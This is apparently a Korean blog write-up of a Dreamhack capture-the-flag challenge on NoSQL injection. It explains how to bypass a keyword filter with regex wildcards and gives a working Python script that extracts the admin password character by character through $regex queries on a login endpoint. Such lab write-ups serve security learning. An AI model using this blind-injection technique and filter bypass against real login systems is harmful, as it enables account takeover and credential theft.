<문제>
이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{…} 입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}
flag를 얻기 위해서는 admin 계정의 upw를 알아내야 한다.
http://host3.dreamhack.games:11711/login?uid=guest&upw[$regex]=.*
이런식으로 regex 명령어를 통해 데이터를 검색할 수 있다.
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
admin이 필터링 되어 있기 때문에 ad.in으로 대체해야 한다.
플래그 형식인 dh{도 D.{로 대체한다.
import requests, string
HOST = 'http://host3.dreamhack.games:11711'
ALPHANUMERIC = string.digits + string.ascii_letters
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == 'admin':
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
이렇게 공격 코드를 작성할 수 있다.
'웹해킹' 카테고리의 다른 글
드림핵 command-injection-1 롸업 (0) | 2023.11.04 |
---|---|
ServerSide: Command Injection (0) | 2023.11.04 |
드림핵 simple_sqli 롸업 (0) | 2023.11.04 |
SQL Injection (0) | 2023.11.04 |
드림핵 csrf-2 롸업 (0) | 2023.11.04 |